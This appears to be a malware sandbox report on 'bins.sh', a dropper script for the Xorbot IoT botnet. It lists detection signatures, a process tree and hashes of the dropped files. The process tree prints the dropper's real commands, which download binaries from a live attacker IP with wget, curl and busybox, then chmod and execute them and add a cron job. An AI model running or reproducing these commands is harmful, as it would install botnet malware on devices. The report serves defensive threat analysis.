Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240418-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    10/01/2025, 23:27

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample250110-3fd5msspft
  • SHA256 8a26134d186c7d3a553baac93a9d71db5e2e41f03cd3ffac671e42294085701f
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
xorbotantivmbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalatiotrojan

Malware Config

Signatures

  • Detects Xorbot 4 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Contacts a large (1940) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 5 IoCs
  • Renames itself 1 IoCs
  • Unexpected DNS network traffic destination 19 IoCs

    Network traffic to other servers than the configured DNS servers was detected on the DNS port.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 5 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 15 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:648
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:650
        • /usr/bin/wget
          wget http://66.63.187.225/bins/S3gEyUPnFoN6tqxgABxMSADke9jCl0DgWH
          2⤵
          • Writes file to tmp directory
          PID:652
        • /usr/bin/curl
          curl -O http://66.63.187.225/bins/S3gEyUPnFoN6tqxgABxMSADke9jCl0DgWH
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:675
        • /bin/busybox
          /bin/busybox wget http://66.63.187.225/bins/S3gEyUPnFoN6tqxgABxMSADke9jCl0DgWH
          2⤵
          • Writes file to tmp directory
          PID:681
        • /bin/chmod
          chmod 777 S3gEyUPnFoN6tqxgABxMSADke9jCl0DgWH
          2⤵
          • File and Directory Permissions Modification
          PID:692
        • /tmp/S3gEyUPnFoN6tqxgABxMSADke9jCl0DgWH
          ./S3gEyUPnFoN6tqxgABxMSADke9jCl0DgWH
          2⤵
          • Executes dropped EXE
          PID:693
        • /bin/rm
          rm S3gEyUPnFoN6tqxgABxMSADke9jCl0DgWH
          2⤵
            PID:696
          • /usr/bin/wget
            wget http://66.63.187.225/bins/pDczcUCMSjVxvBhb8gNDSQvpA8Z40zAqyp
            2⤵
            • Writes file to tmp directory
            PID:697
          • /usr/bin/curl
            curl -O http://66.63.187.225/bins/pDczcUCMSjVxvBhb8gNDSQvpA8Z40zAqyp
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:715
          • /bin/busybox
            /bin/busybox wget http://66.63.187.225/bins/pDczcUCMSjVxvBhb8gNDSQvpA8Z40zAqyp
            2⤵
            • Writes file to tmp directory
            PID:728
          • /bin/chmod
            chmod 777 pDczcUCMSjVxvBhb8gNDSQvpA8Z40zAqyp
            2⤵
            • File and Directory Permissions Modification
            PID:733
          • /tmp/pDczcUCMSjVxvBhb8gNDSQvpA8Z40zAqyp
            ./pDczcUCMSjVxvBhb8gNDSQvpA8Z40zAqyp
            2⤵
            • Executes dropped EXE
            PID:734
          • /bin/rm
            rm pDczcUCMSjVxvBhb8gNDSQvpA8Z40zAqyp
            2⤵
              PID:736
            • /usr/bin/wget
              wget http://66.63.187.225/bins/XPUUC27ri1rgjWrxU8yRBI6GSinfVZmGT0
              2⤵
              • Writes file to tmp directory
              PID:738
            • /usr/bin/curl
              curl -O http://66.63.187.225/bins/XPUUC27ri1rgjWrxU8yRBI6GSinfVZmGT0
              2⤵
              • Checks CPU configuration
              • Writes file to tmp directory
              PID:742
            • /bin/busybox
              /bin/busybox wget http://66.63.187.225/bins/XPUUC27ri1rgjWrxU8yRBI6GSinfVZmGT0
              2⤵
              • Writes file to tmp directory
              PID:760
            • /bin/chmod
              chmod 777 XPUUC27ri1rgjWrxU8yRBI6GSinfVZmGT0
              2⤵
              • File and Directory Permissions Modification
              PID:764
            • /tmp/XPUUC27ri1rgjWrxU8yRBI6GSinfVZmGT0
              ./XPUUC27ri1rgjWrxU8yRBI6GSinfVZmGT0
              2⤵
              • Executes dropped EXE
              PID:766
            • /bin/rm
              rm XPUUC27ri1rgjWrxU8yRBI6GSinfVZmGT0
              2⤵
                PID:768
              • /usr/bin/wget
                wget http://66.63.187.225/bins/fQHqAMvjKS66FsAcd5nQFYdxGYDtbxLA5S
                2⤵
                • Writes file to tmp directory
                PID:770
              • /usr/bin/curl
                curl -O http://66.63.187.225/bins/fQHqAMvjKS66FsAcd5nQFYdxGYDtbxLA5S
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:776
              • /bin/busybox
                /bin/busybox wget http://66.63.187.225/bins/fQHqAMvjKS66FsAcd5nQFYdxGYDtbxLA5S
                2⤵
                • Writes file to tmp directory
                PID:777
              • /bin/chmod
                chmod 777 fQHqAMvjKS66FsAcd5nQFYdxGYDtbxLA5S
                2⤵
                • File and Directory Permissions Modification
                PID:778
              • /tmp/fQHqAMvjKS66FsAcd5nQFYdxGYDtbxLA5S
                ./fQHqAMvjKS66FsAcd5nQFYdxGYDtbxLA5S
                2⤵
                • Executes dropped EXE
                PID:779
              • /bin/rm
                rm fQHqAMvjKS66FsAcd5nQFYdxGYDtbxLA5S
                2⤵
                  PID:781
                • /usr/bin/wget
                  wget http://66.63.187.225/bins/C1sI73cfGrjFTWKLzyMWh5fUESeXCj2t33
                  2⤵
                  • Writes file to tmp directory
                  PID:782
                • /usr/bin/curl
                  curl -O http://66.63.187.225/bins/C1sI73cfGrjFTWKLzyMWh5fUESeXCj2t33
                  2⤵
                  • Checks CPU configuration
                  • Writes file to tmp directory
                  PID:783
                • /bin/busybox
                  /bin/busybox wget http://66.63.187.225/bins/C1sI73cfGrjFTWKLzyMWh5fUESeXCj2t33
                  2⤵
                  • Writes file to tmp directory
                  PID:784
                • /bin/chmod
                  chmod 777 C1sI73cfGrjFTWKLzyMWh5fUESeXCj2t33
                  2⤵
                  • File and Directory Permissions Modification
                  PID:785
                • /tmp/C1sI73cfGrjFTWKLzyMWh5fUESeXCj2t33
                  ./C1sI73cfGrjFTWKLzyMWh5fUESeXCj2t33
                  2⤵
                  • Executes dropped EXE
                  • Renames itself
                  • Reads runtime system information
                  PID:786
                  • /bin/sh
                    sh -c "crontab -l"
                    3⤵
                      PID:788
                      • /usr/bin/crontab
                        crontab -l
                        4⤵
                          PID:789
                      • /bin/sh
                        sh -c "crontab -"
                        3⤵
                          PID:790
                          • /usr/bin/crontab
                            crontab -
                            4⤵
                            • Creates/modifies Cron job
                            PID:791
                      • /bin/rm
                        rm C1sI73cfGrjFTWKLzyMWh5fUESeXCj2t33
                        2⤵
                          PID:794
                        • /usr/bin/wget
                          wget http://66.63.187.225/bins/FK0rR3KLD6Tw0OJgQ3zWgXrXqpF0Tggw1C
                          2⤵
                            PID:798

                        Network

                              MITRE ATT&CK Enterprise v15

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              C1sI73cfGrjFTWKLzyMWh5fUESeXCj2t33
                              • Path /tmp/C1sI73cfGrjFTWKLzyMWh5fUESeXCj2t33
                              • Size 177KB
                              • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                              • MD5 SHA1 SHA512 SSDEEP
                              Submit Download

                              S3gEyUPnFoN6tqxgABxMSADke9jCl0DgWH
                              • Path /tmp/S3gEyUPnFoN6tqxgABxMSADke9jCl0DgWH
                              • Size 112KB
                              • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                              • MD5 SHA1 SHA512 SSDEEP
                              Submit Download

                              XPUUC27ri1rgjWrxU8yRBI6GSinfVZmGT0
                              • Path /tmp/XPUUC27ri1rgjWrxU8yRBI6GSinfVZmGT0
                              • Size 111KB
                              • SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
                              • MD5 SHA1 SHA512 SSDEEP
                              Submit Download

                              fQHqAMvjKS66FsAcd5nQFYdxGYDtbxLA5S
                              • Path /tmp/fQHqAMvjKS66FsAcd5nQFYdxGYDtbxLA5S
                              • Size 122KB
                              • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                              • MD5 SHA1 SHA512 SSDEEP
                              Submit Download

                              pDczcUCMSjVxvBhb8gNDSQvpA8Z40zAqyp
                              • Path /tmp/pDczcUCMSjVxvBhb8gNDSQvpA8Z40zAqyp
                              • Size 98KB
                              • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                              • MD5 SHA1 SHA512 SSDEEP
                              Submit Download

                              tmp.QzoO6O
                              • Path /var/spool/cron/crontabs/tmp.QzoO6O
                              • Size 210B
                              • SHA256 7bf15762f9861161dcfaf333f135c977d7b73860473b4eacbacd2d9bf8827cdc
                              • MD5 SHA1 SHA512
                              Submit Download